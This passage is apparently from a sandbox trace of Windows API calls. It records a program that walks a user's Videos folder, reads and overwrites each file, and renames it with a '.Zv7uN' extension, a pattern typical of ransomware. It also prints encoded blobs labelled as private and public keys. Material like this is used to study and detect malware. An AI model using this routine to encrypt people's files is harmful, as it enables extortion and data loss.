Es.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\kxr6jnmuxani3i es.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.573] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.573] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.573] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x13420 [0087.573] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.574] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x13420, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x13420, lpOverlapped=0x0) returned 1 [0087.576] CloseHandle (hObject=0x11c) returned 1 [0087.578] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\kXr6JNMUXANI3I Es.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\kxr6jnmuxani3i es.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.581] WriteFile (in: hFile=0x11c, lpBuffer=0x1f13f70*, nNumberOfBytesToWrite=0x13420, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f13f70*, lpNumberOfBytesWritten=0x18f6ac*=0x13420, lpOverlapped=0x0) returned 1 [0087.657] CloseHandle (hObject=0x11c) returned 1 [0087.661] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\kXr6JNMUXANI3I Es.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\kxr6jnmuxani3i es.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\kXr6JNMUXANI3I Es.mp4.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\kxr6jnmuxani3i es.mp4.zv7un")) returned 1 [0087.668] GetCurrentThreadId () returned 0xa30 [0087.668] GetCurrentThreadId () returned 0xa30 [0087.668] GetCurrentThreadId () returned 0xa30 [0087.668] GetCurrentThreadId () returned 0xa30 [0087.668] GetCurrentThreadId () returned 0xa30 [0087.668] GetCurrentThreadId () returned 0xa30 [0087.668] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd9a92f0, ftCreationTime.dwHighDateTime=0x1d5e278, ftLastAccessTime.dwLowDateTime=0xcefd0200, ftLastAccessTime.dwHighDateTime=0x1d5df6b, ftLastWriteTime.dwLowDateTime=0xcefd0200, ftLastWriteTime.dwHighDateTime=0x1d5df6b, nFileSizeHigh=0x0, nFileSizeLow=0x56ac, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Nid8Dy.mkv", cAlternateFileName="")) returned 1 [0087.668] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.668] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.668] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\Nid8Dy.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\nid8dy.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd9a92f0, ftCreationTime.dwHighDateTime=0x1d5e278, ftLastAccessTime.dwLowDateTime=0xcefd0200, ftLastAccessTime.dwHighDateTime=0x1d5df6b, ftLastWriteTime.dwLowDateTime=0xcefd0200, ftLastWriteTime.dwHighDateTime=0x1d5df6b, nFileSizeHigh=0x0, nFileSizeLow=0x56ac)) returned 1 [0087.668] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\Nid8Dy.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\nid8dy.mkv")) returned 0x20 [0087.669] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\Nid8Dy.mkv", dwFileAttributes=0x80) returned 1 [0087.671] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.671] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.672] GetCurrentThreadId () returned 0xa30 [0087.672] GetCurrentThreadId () returned 0xa30 [0087.672] GetCurrentThreadId () returned 0xa30 [0087.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.673] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.673] GetCurrentThreadId () returned 0xa30 [0087.673] GetCurrentThreadId () returned 0xa30 [0087.673] GetCurrentThreadId () returned 0xa30 [0087.673] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\Nid8Dy.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\nid8dy.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.673] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.674] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.674] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x56ac [0087.674] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.674] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0x56ac, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0x56ac, lpOverlapped=0x0) returned 1 [0087.676] CloseHandle (hObject=0x11c) returned 1 [0087.676] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\Nid8Dy.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\nid8dy.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.678] WriteFile (in: hFile=0x11c, lpBuffer=0x1f05f70*, nNumberOfBytesToWrite=0x56ac, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f05f70*, lpNumberOfBytesWritten=0x18f6ac*=0x56ac, lpOverlapped=0x0) returned 1 [0087.681] CloseHandle (hObject=0x11c) returned 1 [0087.685] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\Nid8Dy.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\nid8dy.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\Nid8Dy.mkv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\nid8dy.mkv.zv7un")) returned 1 [0087.686] GetCurrentThreadId () returned 0xa30 [0087.686] GetCurrentThreadId () returned 0xa30 [0087.686] GetCurrentThreadId () returned 0xa30 [0087.686] GetCurrentThreadId () returned 0xa30 [0087.686] GetCurrentThreadId () returned 0xa30 [0087.686] GetCurrentThreadId () returned 0xa30 [0087.686] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfab11d0, ftCreationTime.dwHighDateTime=0x1d5dcd2, ftLastAccessTime.dwLowDateTime=0x49e88030, ftLastAccessTime.dwHighDateTime=0x1d5dad9, ftLastWriteTime.dwLowDateTime=0x49e88030, ftLastWriteTime.dwHighDateTime=0x1d5dad9, nFileSizeHigh=0x0, nFileSizeLow=0x12e37, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="P1RaoM.flv", cAlternateFileName="")) returned 1 [0087.686] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.686] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.686] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\P1RaoM.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\p1raom.flv"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfab11d0, ftCreationTime.dwHighDateTime=0x1d5dcd2, ftLastAccessTime.dwLowDateTime=0x49e88030, ftLastAccessTime.dwHighDateTime=0x1d5dad9, ftLastWriteTime.dwLowDateTime=0x49e88030, ftLastWriteTime.dwHighDateTime=0x1d5dad9, nFileSizeHigh=0x0, nFileSizeLow=0x12e37)) returned 1 [0087.686] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS 